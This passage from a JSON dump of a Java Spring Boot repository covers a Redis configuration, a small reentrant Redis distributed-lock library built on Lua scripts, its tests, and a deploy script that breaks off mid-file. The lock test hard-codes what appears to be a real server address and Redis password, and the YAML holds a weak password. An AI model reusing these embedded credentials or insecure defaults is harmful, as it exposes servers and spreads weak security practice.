    "content": "package hello;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.connection.ReactiveRedisConnectionFactory;\nimport org.springframework.data.redis.core.ReactiveRedisOperations;\nimport org.springframework.data.redis.core.ReactiveRedisTemplate;\nimport org.springframework.data.redis.serializer.RedisSerializationContext;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\n@Configuration\npublic class RedisConfiguration {\n  @Bean\n  ReactiveRedisOperations<String, String> redisOperations(ReactiveRedisConnectionFactory factory) {\n\n    RedisSerializationContext.RedisSerializationContextBuilder<String, String> builder =\n      RedisSerializationContext.newSerializationContext(new StringRedisSerializer());\n\n    RedisSerializationContext<String, String> context = builder.value(new StringRedisSerializer()).build();\n\n    return new ReactiveRedisTemplate<>(factory, context);\n  }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_sentinel/src/main/resources/application.yaml",
    "content": "spring:\n  redis:\n#    host: redis-master\n#    port: 6379\n    password: abc\n    sentinel:\n      master: springboot\n      nodes:\n        - redis-sentinel:26379\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/LICENSE",
    "content": "Apache License\nVersion 2.0, January 2004\nhttp://www.apache.org/licenses/\n\nTERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n1. Definitions.\n\n\"License\" shall mean the terms and conditions for use, reproduction, and\ndistribution as defined by Sections 1 through 9 of this document.\n\n\"Licensor\" shall mean the copyright owner or entity authorized by the copyright\nowner that is granting the License.\n\n\"Legal Entity\" shall mean the union of the acting entity and all other entities\nthat control, are controlled by, or are under common control with that entity.\nFor the purposes of this definition, \"control\" means (i) the power, direct or\nindirect, to cause the direction or management of such entity, whether by\ncontract or otherwise, or (ii) ownership of fifty percent (50%) or more of the\noutstanding shares, or (iii) beneficial ownership of such entity.\n\n\"You\" (or \"Your\") shall mean an individual or Legal Entity exercising\npermissions granted by this License.\n\n\"Source\" form shall mean the preferred form for making modifications, including\nbut not limited to software source code, documentation source, and configuration\nfiles.\n\n\"Object\" form shall mean any form resulting from mechanical transformation or\ntranslation of a Source form, including but not limited to compiled object code,\ngenerated documentation, and conversions to other media types.\n\n\"Work\" shall mean the work of authorship, whether in Source or Object form, made\navailable under the License, as indicated by a copyright notice that is included\nin or attached to the work (an example is provided in the Appendix below).\n\n\"Derivative Works\" shall mean any work, whether in Source or Object form, that\nis based on (or derived from) the Work and for which the editorial revisions,\nannotations, elaborations, or other modifications represent, as a whole, an\noriginal work of authorship. For the purposes of this License, Derivative Works\nshall not include works that remain separable from, or merely link (or bind by\nname) to the interfaces of, the Work and Derivative Works thereof.\n\n\"Contribution\" shall mean any work of authorship, including the original version\nof the Work and any modifications or additions to that Work or Derivative Works\nthereof, that is intentionally submitted to Licensor for inclusion in the Work\nby the copyright owner or by an individual or Legal Entity authorized to submit\non behalf of the copyright owner. For the purposes of this definition,\n\"submitted\" means any form of electronic, verbal, or written communication sent\nto the Licensor or its representatives, including but not limited to\ncommunication on electronic mailing lists, source code control systems, and\nissue tracking systems that are managed by, or on behalf of, the Licensor for\nthe purpose of discussing and improving the Work, but excluding communication\nthat is conspicuously marked or otherwise designated in writing by the copyright\nowner as \"Not a Contribution.\"\n\n\"Contributor\" shall mean Licensor and any individual or Legal Entity on behalf\nof whom a Contribution has been received by Licensor and subsequently\nincorporated within the Work.\n\n2. Grant of Copyright License.\n\nSubject to the terms and conditions of this License, each Contributor hereby\ngrants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,\nirrevocable copyright license to reproduce, prepare Derivative Works of,\npublicly display, publicly perform, sublicense, and distribute the Work and such\nDerivative Works in Source or Object form.\n\n3. Grant of Patent License.\n\nSubject to the terms and conditions of this License, each Contributor hereby\ngrants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,\nirrevocable (except as stated in this section) patent license to make, have\nmade, use, offer to sell, sell, import, and otherwise transfer the Work, where\nsuch license applies only to those patent claims licensable by such Contributor\nthat are necessarily infringed by their Contribution(s) alone or by combination\nof their Contribution(s) with the Work to which such Contribution(s) was\nsubmitted. If You institute patent litigation against any entity (including a\ncross-claim or counterclaim in a lawsuit) alleging that the Work or a\nContribution incorporated within the Work constitutes direct or contributory\npatent infringement, then any patent licenses granted to You under this License\nfor that Work shall terminate as of the date such litigation is filed.\n\n4. Redistribution.\n\nYou may reproduce and distribute copies of the Work or Derivative Works thereof\nin any medium, with or without modifications, and in Source or Object form,\nprovided that You meet the following conditions:\n\nYou must give any other recipients of the Work or Derivative Works a copy of\nthis License; and\nYou must cause any modified files to carry prominent notices stating that You\nchanged the files; and\nYou must retain, in the Source form of any Derivative Works that You distribute,\nall copyright, patent, trademark, and attribution notices from the Source form\nof the Work, excluding those notices that do not pertain to any part of the\nDerivative Works; and\nIf the Work includes a \"NOTICE\" text file as part of its distribution, then any\nDerivative Works that You distribute must include a readable copy of the\nattribution notices contained within such NOTICE file, excluding those notices\nthat do not pertain to any part of the Derivative Works, in at least one of the\nfollowing places: within a NOTICE text file distributed as part of the\nDerivative Works; within the Source form or documentation, if provided along\nwith the Derivative Works; or, within a display generated by the Derivative\nWorks, if and wherever such third-party notices normally appear. The contents of\nthe NOTICE file are for informational purposes only and do not modify the\nLicense. You may add Your own attribution notices within Derivative Works that\nYou distribute, alongside or as an addendum to the NOTICE text from the Work,\nprovided that such additional attribution notices cannot be construed as\nmodifying the License.\nYou may add Your own copyright statement to Your modifications and may provide\nadditional or different license terms and conditions for use, reproduction, or\ndistribution of Your modifications, or for any such Derivative Works as a whole,\nprovided Your use, reproduction, and distribution of the Work otherwise complies\nwith the conditions stated in this License.\n\n5. Submission of Contributions.\n\nUnless You explicitly state otherwise, any Contribution intentionally submitted\nfor inclusion in the Work by You to the Licensor shall be under the terms and\nconditions of this License, without any additional terms or conditions.\nNotwithstanding the above, nothing herein shall supersede or modify the terms of\nany separate license agreement you may have executed with Licensor regarding\nsuch Contributions.\n\n6. Trademarks.\n\nThis License does not grant permission to use the trade names, trademarks,\nservice marks, or product names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the NOTICE file.\n\n7. Disclaimer of Warranty.\n\nUnless required by applicable law or agreed to in writing, Licensor provides the\nWork (and each Contributor provides its Contributions) on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied,\nincluding, without limitation, any warranties or conditions of TITLE,\nNON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are\nsolely responsible for determining the appropriateness of using or\nredistributing the Work and assume any risks associated with Your exercise of\npermissions under this License.\n\n8. Limitation of Liability.\n\nIn no event and under no legal theory, whether in tort (including negligence),\ncontract, or otherwise, unless required by applicable law (such as deliberate\nand grossly negligent acts) or agreed to in writing, shall any Contributor be\nliable to You for damages, including any direct, indirect, special, incidental,\nor consequential damages of any character arising as a result of this License or\nout of the use or inability to use the Work (including but not limited to\ndamages for loss of goodwill, work stoppage, computer failure or malfunction, or\nany and all other commercial damages or losses), even if such Contributor has\nbeen advised of the possibility of such damages.\n\n9. Accepting Warranty or Additional Liability.\n\nWhile redistributing the Work or Derivative Works thereof, You may choose to\noffer, and charge a fee for, acceptance of support, warranty, indemnity, or\nother liability obligations and/or rights consistent with this License. However,\nin accepting such obligations, You may act only on Your own behalf and on Your\nsole responsibility, not on behalf of any other Contributor, and only if You\nagree to indemnify, defend, and hold each Contributor harmless for any liability\nincurred by, or claims asserted against, such Contributor by reason of your\naccepting any such warranty or additional liability.\n\nEND OF TERMS AND CONDITIONS\n\nAPPENDIX: How to apply the Apache License to your work\n\nTo apply the Apache License to your work, attach the following boilerplate\nnotice, with the fields enclosed by brackets \"{}\" replaced with your own\nidentifying information. (Don't include the brackets!) The text should be\nenclosed in the appropriate comment syntax for the file format. We also\nrecommend that a file or class name and description of purpose be included on\nthe same \"printed page\" as the copyright notice for easier identification within\nthird-party archives.\n\n   Copyright 2017 fightingman\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License."
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/README.md",
    "content": "# springboot-redislock\n\n最轻量级的redis分布式锁实现，实现只使用不到300行代码,只需依赖spring-data-redis,也可自行扩展Jedis。\n如需使用springboot 自动装配, 切换到1.x版本即可\n\n## 快速上手\n实现锁的思想参考可重入锁，该分布式锁支持重入机制。\n\n## 加锁模式\n\n- **RedisLock.lock**：直到加锁成功。\n- **RedisLock.tryLock**：尝试加锁。\n\n## 准备工作\n\n- **引入spring-data-redis依赖**:  可以在pom中直接引入，这边不多做叙述。\n\n## 使用优点\n加锁在一个原子操作中完成，具有redis锁失效，以及本地解锁。\n会有人有疑问这样和setNx 加上 失效时间有何区别（下面简称普通方式），下面进行对比。\n\n1.redislock 支持锁重入，使用方式与ReentrantLock 类似。\n2.普通方式无法解决当前锁在分布式情况下被另外的客户端解锁的可能。\n\n\n## 存在缺点\n客户端1在Redis一个主节点获得了一个锁。主节点挂了，而主从节点的写同步还没完成（异步复制）。\n从节点被提升为主节点，客户端2就有可能获得和1相同的锁。"
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_redislock</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <jedis>2.9.0</jedis>\n        <jackson.version>2.8.10</jackson.version>\n        <junit.version>4.12</junit.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.data</groupId>\n            <artifactId>spring-data-redis</artifactId>\n            <version>2.0.7.RELEASE</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>redis.clients</groupId>\n            <artifactId>jedis</artifactId>\n            <version>${jedis}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>${jackson.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.7.0</version>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.4</version>\n                <configuration>\n                    <attach>true</attach>\n                </configuration>\n                <executions>\n                    <execution>\n                        <phase>compile</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/src/main/java/com/redis/exception/RedisLockException.java",
    "content": "package com.redis.exception;\n\n/**\n * @author\n * @version V1.0\n * @Description\n * @date 2018-01-29 16:24\n **/\npublic class RedisLockException extends Exception{\n    public RedisLockException(String message) {\n        super(message);\n    }\n\n    public RedisLockException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/src/main/java/com/redis/lock/RedisLock.java",
    "content": "package com.redis.lock;\n\nimport com.redis.exception.RedisLockException;\nimport com.redis.lock.api.RLock;\nimport com.redis.lock.api.RedisCommand;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\n\nimport java.util.Random;\nimport java.util.UUID;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.locks.LockSupport;\n\n/**\n * @author zzm\n * @version V1.0\n * @date 2017-09-26 14:18\n **/\npublic class RedisLock implements RLock {\n\tprivate static final Logger logger = LoggerFactory.getLogger(RedisLock.class);\n\tprivate Thread thread;\n\tprivate String key;\n\tprivate UUID id = UUID.randomUUID();\n\tprivate Random random = new Random();\n\tprivate int unlockRetry;\n\tprivate RedisTemplate<String, Object> redisTemplate;\n\t//static final long spinForTimeoutThreshold = 1000L;\n\n\tpublic static RedisLock create(String key, RedisTemplate<String, Object> redisTemplate) {\n\t\treturn create(key, redisTemplate, 1);\n\t}\n\n\t/**\n\t * @param key         当前服务的别名\n\t * @param unlockRetry 解锁重试次数\n\t * @return\n\t */\n\tpublic static RedisLock create(String key, RedisTemplate<String, Object> redisTemplate, int unlockRetry) {\n\t\treturn new RedisLock(key, redisTemplate, unlockRetry);\n\t}\n\n\tprivate RedisLock(String key, RedisTemplate<String, Object> redisTemplate, int unlockRetry) {\n\t\tthis.key = key;\n\t\tthis.redisTemplate = redisTemplate;\n\t\tthis.unlockRetry = unlockRetry;\n\t}\n\n\t/**\n\t * 加锁\n\t *\n\t * @param expire   redis key timeout\n\t * @param timeUnit the time unit of the timeout argument\n\t * @throws InterruptedException\n\t */\n\t@Override\n\tpublic void lock(long expire, TimeUnit timeUnit) throws InterruptedException {\n\t\tif (expire <= 0L) throw new IllegalArgumentException(\"expire time least gt zero\");\n\t\tString field = getLockName(Thread.currentThread().getId());\n\t\tboolean result;\n\t\tfor (; ; ) {\n\t\t\tresult = RedisCommand.lock(redisTemplate, key, field, timeUnit.toMillis(expire));\n\t\t\tif (result) {\n\t\t\t\tthread = Thread.currentThread();\n\t\t\t\treturn;\n\t\t\t} else {\n\t\t\t\tThread.sleep(random.nextInt(10));\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic boolean tryLock(long expire, TimeUnit timeUnit) {\n\t\tString field = getLockName(Thread.currentThread().getId());\n\t\tboolean result = RedisCommand.lock(redisTemplate, key, field, timeUnit.toMillis(expire));\n\t\tif (result) {\n\t\t\tthread = Thread.currentThread();\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic boolean tryLock(long timeout, long expire, TimeUnit timeUnit) throws InterruptedException {\n\t\tif (expire <= 0L) throw new IllegalArgumentException(\"expire time least gt zero\");\n\t\tif (timeout <= 0L) throw new IllegalArgumentException(\"timeout time least gt zero\");\n\t\tfinal long deadline = System.nanoTime() + timeUnit.toNanos(timeout);\n\t\tString field = getLockName(Thread.currentThread().getId());\n\t\tboolean result;\n\t\tfor (; ; ) {\n\t\t\tresult = RedisCommand.lock(redisTemplate, key, field, timeUnit.toMillis(expire));\n\t\t\tif (result) {\n\t\t\t\tthread = Thread.currentThread();\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\tlong remaining = deadline - System.nanoTime();\n\t\t\t\tif (remaining <= 0L)\n\t\t\t\t\treturn false;\n\t\t\t\tLockSupport.parkNanos(remaining);\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic boolean isHeldByCurrentThread() {\n\t\treturn thread == Thread.currentThread();\n\t}\n\n\t@Override\n\tpublic boolean isLocked() {\n\t\treturn RedisCommand.isLocked(redisTemplate, key, getLockName(Thread.currentThread().getId()));\n\t}\n\n\t@Override\n\tpublic void unlock() {\n\t\tif (thread != Thread.currentThread()) throw new IllegalMonitorStateException();\n\t\tString field = getLockName(Thread.currentThread().getId());\n\t\tfor (int i = 0; i <= unlockRetry; i++) {\n\t\t\ttry {\n\t\t\t\tRedisCommand.unlock(redisTemplate, key, field);\n\t\t\t\tbreak;\n\t\t\t} catch (Exception e) {\n\t\t\t\tlogger.error(\"当前线程解锁异常,线程ID:{},error:{}\", Thread.currentThread().getId(), e.getMessage());\n\t\t\t}\n\t\t\tif (unlockRetry == i) logger.warn(\"当前线程解锁异常,线程ID:{}\", Thread.currentThread().getId());\n\t\t}\n\t}\n\n\tString getLockName(long threadId) {\n\t\treturn this.id + \":\" + threadId;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/src/main/java/com/redis/lock/api/RLock.java",
    "content": "package com.redis.lock.api;\n\nimport com.redis.exception.RedisLockException;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * @author zzm\n * @version V1.0\n * @date 2017-09-26 10:45\n **/\npublic interface RLock {\n    /**\n     * acquires the lock.\n     *\n     * @param expire   redis key timeout\n     * @param timeUnit the time unit of the timeout argument\n     */\n    void lock(long expire, TimeUnit timeUnit) throws InterruptedException, RedisLockException;\n\n    /**\n     * acquires the lock if lock is free\n     *\n     * @param expire   redis key timeout\n     * @param timeUnit the time unit of the timeout argument\n     * @return\n     */\n    boolean tryLock(long expire, TimeUnit timeUnit) throws RedisLockException;\n\n    /**\n     * try to Acquires the lock\n     *\n     * @param timeout  the time to wait for the lock\n     * @param expire   redis key timeout\n     * @param timeUnit the time unit of the timeout argument\n     * @return\n     */\n    boolean tryLock(long timeout, long expire, TimeUnit timeUnit) throws InterruptedException, RedisLockException;\n\n    /**\n     * check if current thread is owner\n     *\n     * @return\n     */\n    boolean isHeldByCurrentThread();\n\n    /**\n     * if any thread holds this lock\n     *\n     * @return\n     */\n    boolean isLocked() throws RedisLockException;\n\n    void unlock() throws RedisLockException;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/src/main/java/com/redis/lock/api/RedisCommand.java",
    "content": "package com.redis.lock.api;\n\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.core.script.DefaultRedisScript;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @author zzm\n * @version V1.0\n * @date 2017-09-26 14:38\n **/\npublic class RedisCommand {\n\n\tpublic static boolean lock(RedisTemplate<String, Object> redisTemplate, String key, String id, long expire) {\n\t\tDefaultRedisScript<String> script = new DefaultRedisScript<>();\n\t\tscript.setScriptText(\"if (redis.call('exists', KEYS[1]) == 0) then redis.call('hset', KEYS[1],ARGV[1], 1); \" +\n\t\t\t\t\"redis.call('pexpire', KEYS[1], ARGV[2]); return nil; end; \" +\n\t\t\t\t\"if (redis.call('hexists', KEYS[1], ARGV[1]) == 1) then redis.call('hincrby', KEYS[1], ARGV[1], 1); \" +\n\t\t\t\t\"redis.call('pexpire', KEYS[1], ARGV[2]); return nil; end; return redis.call('pttl', KEYS[1]);\");\n\t\tscript.setResultType(String.class);\n\t\tList<String> list = new ArrayList<>();\n\t\tlist.add(key);\n\t\tString result = redisTemplate.execute(script, list, id, expire);\n\t\t//result 为null时,加锁成功\n\t\treturn result == null;\n\t}\n\n\tpublic static void unlock(RedisTemplate<String, Object> redisTemplate, String key, String id) {\n\t\tDefaultRedisScript<Long> script = new DefaultRedisScript<>();\n\t\tscript.setScriptText(\"if (redis.call('exists', KEYS[1]) == 0) then return 0; end; \" +\n\t\t\t\t\"if (redis.call('hexists', KEYS[1], ARGV[1]) == 0) then return 0; end; \" +\n\t\t\t\t\"local counter = redis.call('hincrby', KEYS[1], ARGV[1], -1); \" +\n\t\t\t\t\"if (counter > 0) then return 1; \" +\n\t\t\t\t\"else \" +\n\t\t\t\t\"redis.call('del', KEYS[1]); return 1; end;\");\n\t\tscript.setResultType(Long.class);\n\t\tList<String> list = new ArrayList<>();\n\t\tlist.add(key);\n\t\tredisTemplate.execute(script, list, id);\n\t}\n\n\tpublic static boolean isLocked(RedisTemplate<String, Object> redisTemplate, String key, String id) {\n\t\tDefaultRedisScript<Long> script = new DefaultRedisScript<>();\n\t\tscript.setScriptText(\"if (redis.call('hexists', KEYS[1], ARGV[1]) == 0) then return 0; end; \" +\n\t\t\t\t\"return 1;\");\n\t\tscript.setResultType(Long.class);\n\t\tList<String> list = new ArrayList<>();\n\t\tlist.add(key);\n\t\tLong result = redisTemplate.execute(script, list, id);\n\t\treturn result == 1L;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redislock/src/test/java/com/redis/LockTest.java",
    "content": "package com.redis;\n\nimport com.fasterxml.jackson.annotation.JsonAutoDetect;\nimport com.fasterxml.jackson.annotation.PropertyAccessor;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.redis.lock.RedisLock;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.connection.RedisPassword;\nimport org.springframework.data.redis.connection.RedisStandaloneConfiguration;\nimport org.springframework.data.redis.connection.jedis.JedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * @ClassName LockTest\n * @Description 测试类\n * @Author zzm\n * @Date 2019/7/5 9:33\n * @Version 1.0\n */\npublic class LockTest {\n\tRedisTemplate<String, Object> template;\n\n\t@Before\n\tpublic void redis() {\n\t\tRedisStandaloneConfiguration redisStandaloneConfiguration = new RedisStandaloneConfiguration();\n\t\tredisStandaloneConfiguration.setHostName(\"120.27.213.73\");\n\t\tredisStandaloneConfiguration.setPort(6379);\n\t\tredisStandaloneConfiguration.setDatabase(15);\n\t\tRedisPassword redisPassword = RedisPassword.of(\"frgrgrgskl34gkk\");\n\t\tredisStandaloneConfiguration.setPassword(redisPassword);\n\t\tRedisConnectionFactory factory = new JedisConnectionFactory(redisStandaloneConfiguration);\n\t\ttemplate = new RedisTemplate<>();\n\t\ttemplate.setConnectionFactory(factory);\n\t\tJackson2JsonRedisSerializer jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer(Object.class);\n\t\tObjectMapper om = new ObjectMapper();\n\t\tom.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);\n\t\tom.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);\n\t\tjackson2JsonRedisSerializer.setObjectMapper(om);\n\t\ttemplate.setKeySerializer(new StringRedisSerializer());\n\t\ttemplate.setValueSerializer(jackson2JsonRedisSerializer);\n\t\ttemplate.setHashValueSerializer(jackson2JsonRedisSerializer);\n\t\ttemplate.afterPropertiesSet();\n\t}\n\n\t@Test\n\tpublic void lock() {\n\t\tRedisLock redisLock = RedisLock.create(\"test\", template);\n\t\ttry {\n\t\t\tboolean result = redisLock.tryLock(1000, TimeUnit.SECONDS);\n\t\t\tredisLock.unlock();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/README.md",
    "content": "## 使用RestTemplate\n\n使用RestTemplate访问RESTful API接口\n\n## 测试用例\n\n`com.xncoding.pos.ApplicationTests.java`\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_resttemplate</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>使用RestTemplate访问RESTful API接口</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <!-- @ConfigurationProperties annotation processing (metadata for IDEs)\n                 生成spring-configuration-metadata.json类，需要引入此类-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.httpcomponents</groupId>\n            <artifactId>httpclient</artifactId>\n            <version>4.5.3</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.hamcrest</groupId>\n            <artifactId>hamcrest-core</artifactId>\n            <version>1.3</version>\n            <scope>test</scope>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_resttemplate/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    